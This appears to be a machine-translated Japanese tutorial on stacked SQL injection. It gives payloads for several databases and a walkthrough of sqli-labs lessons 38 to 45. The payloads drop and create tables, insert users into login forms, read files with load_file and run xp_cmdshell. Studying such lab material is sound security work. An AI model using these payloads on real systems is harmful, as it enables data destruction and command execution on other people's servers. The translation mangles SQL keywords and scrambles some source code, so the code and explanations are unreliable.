0x00スタックインジェクションの定義
名詞の意味から積み重ねられた注入(スタックインジェクション)は、一緒に実行されるSQLステートメント(複数のエントリ)の束であることがわかります。これは実際の使用でも当てはまります。 MySQLでは、主なことはコマンドラインの最後に各ステートメントを追加することであることを知っています。ステートメントの終了を示します。このようにして、複数の文を一緒に使用できるかどうかを考えました。これは積み重ねられた注入と呼ばれます。
0x01スタッキングインジェクション原理
SQL、Semicolon(;)は、SQLステートメントの終了を表すために使用されます。 SQLステートメントを終了した後、次のステートメントを作成し続けると、それが一緒に実行されると想像してください。したがって、このアイデアはスタックインジェクションを作成します。ユニオンインジェクション(ユニオンインジェクション)も2つのステートメントをマージします。 2つに違いはありますか?違いは、UnionまたはUnionallによって実行されたステートメントのタイプが制限されており、クエリステートメントを実行するために使用できることです。一方、スタックインジェクションは任意のステートメントを実行できることです。たとえば、次の例。ユーザー入力:1; DeleteFromProductsサーバー側SQLステートメントは次のとおりです。Select*FromProductswhereProductid=1;削除クエリが実行されると、最初のアイテムがクエリ情報を表示し、2番目のアイテムがテーブル全体を削除します。
0x02スタックインジェクションの制限
スタックインジェクションの制限は、すべての環境を実行できるわけではなく、APIまたはデータベースエンジンによって制限される可能性があることです。もちろん、許可が不十分なのは、攻撃者がデータを変更したり、一部のプログラムを呼び出すことができない理由を説明することもできます。
私の個人テスト環境はPHP+MySQLであり、実行できるため、この図は元のテキストから傍受されます。ここにはMySQL/PHPに疑問があります。しかし、私は個人的に、元の著者は私のバージョンとは異なるかもしれないと推定しています。前に述べましたが、スタッキングクエリは任意のSQLステートメントを実行できると述べましたが、この注入方法はあまり完全ではありません。私たちのWebシステムでは、コードは通常1つのクエリ結果のみを返すため、2番目のステートメントのスタックインジェクションはエラーを生成するか、結果を無視でき、フロントエンドインターフェイスのリターン結果を確認できません。したがって、データを読むときは、組合(組合)注入を使用することをお勧めします。同時に、スタックインジェクションを使用する前に、テーブル名、列名などのデータベース関連情報も知る必要があります。
0x03各データベースインスタンスの概要
このセクションでは、一般的なデータベースの観点からいくつかのタイプのデータベースの関連する使用法を紹介します。データベースの基本操作、追加、削除、チェック、変更。以下には、データベース関連のスタックインジェクションの基本操作がリストされています。
1.mysql
(1)新しいテーブルを作成します
id=1;ユーザーのようにテーブルテストを作成します。
実行が成功したら、新しい成功したテーブルが作成されているかどうかを確認しましょう。
(2)上記の新しく作成されたテストテーブルを削除します
id=1;ドロップテーブルテストを選択します。
(3)クエリデータ
id=1;選択1,2,3を選択します。
(4)ファイルをロードします
id=1; select load_file( 'c:/tmpupbbn.php');を選択します。
(4)データを変更します
ユーザーから[id=1;挿入ユーザー(id、username、password)values( '100'、 'new'、 'new')から[ユーザーから]を選択します。
2。 SQL Server
(1)データテーブルの追加
[テスト]から[テストから]を選択します。テーブルSC3(ss char(8))を作成します。
(2)データテーブルを削除します
[テスト]から *テーブルSC3をドロップします。
(4)クエリデータ
1,2,3; select * from test;を選択します。
(5)データを変更します
select * from test; update test set name='test' "id=3;
(5)SQLServerで最も重要なストアドプロシージャの実行
select * from test where id=1; exec master.xp_cmdshell 'ipconfig'
3.Oracle
上記の紹介では、Oracleはスタックインジェクションを使用できないと述べました。図から、2つのステートメントが同じ行にある場合、エラーが直接報告されることを確認できます。無効な文字。私は次のものを試し続けません。
4.postgresql
(1)新しいテーブルを作成します
select * from user_test;作成テーブルuser_data(id date);
user_dataテーブルが構築されていることがわかります。
(2)上記の新しく作成されたuser_dataテーブルを削除します
select * from user_test; delete from user_data;
(3)クエリデータ
select * from user_test; 1,2,3を選択します。
(4)データを変更します
select * from user_test; uspret user_test set name='modify' where name='Zhang San';
0x04 SQLLAPS列の積み重ねられた注入
1.レス-38スタックインジェクション - キャラクタータイプ - 取得
(1)ソースコード
$ sql='select * fromユーザーからid=' $ id 'limit 0,1';
(2)テスト
?id=1 ’; Inserting Into Users(ID、ユーザー名、パスワード)値(「38」、「LESS38」、「Hello」) - +
mysql select * fromユーザー。
+---+-------------------------------+
| ID |ユーザー名|パスワード|
+---+-------------------------------+
| 1 |愚かな|愚かな|
| 2 |アンジェリーナ| i-kill-you |
| 3 |ダミー| P@SSWORD |
| 4 |セキュア| Crappy |
| 5 |愚かな|愚かさ|
| 6 |スーパーマン| genious |
| 7 |バットマン|暴徒!le |
| 8 |管理者|管理者|
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 |ダッカン|ダンボ|
| 14 | admin4 | admin4 |
| 38 |レッスル38 |こんにちは|
+---+-------------------------------+
セットの14行(0.00秒)
より少ない38ユーザーが追加されていることがわかりました
?id=1 ’;テーブルを作成します。
?id=1 ’;ドロップテーブルレッスル38;
2.Less -39スタックインジェクション - 整数 - 取得
(1)ソースコード
$ sql='select * fromユーザーからid=$ id limit 0,1';
(2)テスト
?id=1;ユーザーへの挿入(id、username、password)値(「39」、 'less39'、hello ') -
mysql select * fromユーザー。
+---+-------------------------------+
| ID |ユーザー名|パスワード|
+---+-------------------------------+
| 1 |愚かな|愚かな|
| 2 |アンジェリーナ| i-kill-you |
| 3 |ダミー| P@SSWORD |
| 4 |セキュア| Crappy |
| 5 |愚かな|愚かさ|
| 6 |スーパーマン| genious |
| 7 |バットマン|暴徒!le |
| 8 |管理者|管理者|
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 |ダッカン|ダンボ|
| 14 | admin4 | admin4 |
| 38 |レッスル38 |こんにちは|
| 39 |レッスル39 |こんにちは|
+---+-------------------------------+
セットの15行(0.00秒)
Less39ユーザーが追加されていることがわかります
?id=1;テーブルを作成します。
?id=1;ドロップテーブルレッスル39;
3.Less -40ブラインド - スタックオーバーフロー
(1)ソースコード
$ sql='select * from users where id=(' $ id ')limit 0,1';
(2)テスト
?id=1 ’);ユーザー(id、username、password)値(「40」、「less40」、「hello」)に挿入- +
mysql select * fromユーザー。
+-----+-------------------------------+
| ID |ユーザー名|パスワード|
+-----+-------------------------------+
| 1 |愚かな|愚かな|
| 2 |アンジェリーナ| i-kill-you |
| 3 |ダミー| P@SSWORD |
| 4 |セキュア| Crappy |
| 5 |愚かな|愚かさ|
| 6 |スーパーマン| genious |
| 7 |バットマン|暴徒!le |
| 8 |管理者|管理者|
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 |ダッカン|ダンボ|
| 14 | admin4 | admin4 |
| 38 |レッスル38 |こんにちは|
| 39 |レッスル39 |こんにちは|
| 109 |こんにちは|こんにちは|
| 40 | LESS40 |こんにちは|
+-----+-------------------------------+
セットの17行(0.00秒)
追加されたLess40ユーザーを参照してください
?id=1 ’);テーブルを作成します。
?id=1 ’);ドロップテーブルless40;
4.Less -41ブラインド - スタックオーバーフロー
(1)ソースコード
$ sql='select * fromユーザーからid=$ id limit 0,1';
(2)テスト(ブラインド)
ユーザーテーブルを作成し、フィールド値を上げます
?id=1;ユーザー(id、username、password)値(「110」、「less41」、「hello」)への挿入- +
mysql select * fromユーザー。
+-----+-------------------------------+
| ID |ユーザー名|パスワード|
+-----+-------------------------------+
| 1 |愚かな|愚かな|
| 2 |アンジェリーナ| i-kill-you |
| 3 |ダミー| P@SSWORD |
| 4 |セキュア| Crappy |
| 5 |愚かな|愚かさ|
| 6 |スーパーマン| genious |
| 7 |バットマン|暴徒!le |
| 8 |管理者|管理者|
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 |ダッカン|ダンボ|
| 14 | admin4 | admin4 |
| 38 |レッスル38 |こんにちは|
| 39 |レッスル39 |こんにちは|
| 109 |こんにちは|こんにちは|
| 40 | LESS40 |こんにちは|
| 110 | LESS41 |こんにちは|
+-----+-------------------------------+
セットの18行(0.00秒)
追加されたユーザーレッスル41
?id=1;テーブルを作成します。 //テーブルを追加します
?id=1;ドロップテーブルless41; //テーブルを削除します
5.Less-42エラー報告スタックインジェクション - 文字型 - POST
(1)ソースコード(login.php):
$ username=mysqli_real_escape_string($ con1、$ _post ['login_user']);
$ password=$ _post ['login_password'];
$ sql='select * fromユーザーからusername=' $ username 'およびpassword=' $ password '';
投稿プロセス中、パスワード変数はMySQL_REAL_ESCAPE_STRING()関数によって処理されません。したがって、ログインすると、パスワードオプションを攻撃できます。
(2)エラーテスト
テストステートメント:
ユーザー名:任意
パスワード:C ';ドロップテーブルME##MEテーブルを削除します
または:
ユーザー名:任意
パスワード:c ';ユーザーのようにテーブルを作成#//meテーブルを作成する
ログインする前にテーブルを確認してください。
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの4行(0.00秒)
ログインする前にテーブルを作成します
ユーザー名:admin
パスワード:c ';ユーザーのようなテーブルless42を作成#
ログインして作成テーブルを表示します
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
| LESS42 |
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの5行(0.00秒)
Less42テーブルが追加され、ログイン中に作成されたSQLステートメントが:であることがわかりました
ユーザーからusername=’admin'およびpassword=’c’から[ユーザーから]を選択します。テーブルを作成します。
ログインする前にテーブルを削除します
ユーザー名:admin
パスワード:c ’;ドロップテーブルレッスル42#
ログイン後に削除テーブルを確認してください
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの4行(0.00秒)
6.Less -43エラー報告タイプ-Stack Overflow
(1)ソースコード
$ username=mysqli_real_escape_string($ con1、$ _post ['login_user']);
$ password=$ _post ['login_password'];
$ sql='select * fromユーザーからusername=(' $ username ')およびpassword=(' $ password ')';
(2)テスト
ログインテスト作成テーブルの前
ユーザー名:admin
パスワード:c ');テーブルを作成しますlikeユーザー#
ログイン後に追加されたテーブルを確認してください
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
| LESS43 |
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの5行(0.00秒)
ログインする前に削除テーブルをテストします
ユーザー名:admin
パスワード:c ');ドロップテーブルレッスル43#
ログイン後に削除テーブルを確認してください
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの4行(0.00秒)
6.Less -44ブラインド - スタックオーバーフロー
(1)ソースコード
username=mysqlirealescapestring(username=mysqlirealescapestring(con1、post ["loginuser"]); post ["loginuser"]);パスワード=
post ["loginpassword"]; post ["loginpassword"]; sql='select * from users where
username='username'andpassword=' username'andpassword='password' ";
(2)テスト(ブラインド)
ログイン前にテーブルと値を挿入します
ユーザー名:admin
パスワード:a ';ユーザーへの挿入(id、username、password)values(' 144 '、' less44 '、' hello ')#
ログインした後、追加されたテーブルと値を表示します
mysql select * fromユーザー。
+-----+-------------------------------+
| ID |ユーザー名|パスワード|
+-----+-------------------------------+
| 1 |愚かな|愚かな|
| 2 |アンジェリーナ| i-kill-you |
| 3 |ダミー| P@SSWORD |
| 4 |セキュア| Crappy |
| 5 |愚かな|愚かさ|
| 6 |スーパーマン| genious |
| 7 |バットマン|暴徒!le |
| 8 |管理者|管理者|
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 |ダッカン|ダンボ|
| 14 | admin4 | admin4 |
| 38 |レッスル38 |こんにちは|
| 39 |レッスル39 |こんにちは|
| 109 |こんにちは|こんにちは|
| 40 | LESS40 |こんにちは|
| 110 | LESS41 |こんにちは|
| 144 | LESS44 |こんにちは|
+-----+-------------------------------+
セットの19行(0.00秒)
7.Less-45エラー報告スタックインジェクション - 文字型 - POST
(1)ソースコード
$ username=mysqli_real_escape_string($ con1、$ _post ['login_user']);
$ password=$ _post ['login_password'];
$ sql='select * fromユーザーからusername=(' $ username ')およびpassword=(' $ password ')';
(2)テスト
ログインする前にテーブルをテストします
ユーザー名:管理者
パスワード: c ');テーブルを作成しますless45 likeユーザー#//less45テーブルを作成します
ログイン後に追加されたテーブルを確認してください
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
| LESS45 |
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの5行(0.00秒)
ログインする前に削除テーブルをテストします
ユーザー名:admin
パスワード:c ');ドロップテーブルレッスル45#
ログイン後に削除テーブルを確認してください
MySQLは表を表示します。
+----------------------------+
| tables_in_security |
+----------------------------+
|メール|
|参照者|
| uagents |
|ユーザー|
+----------------------------+
セットの4行(0.00秒)
Recommended Comments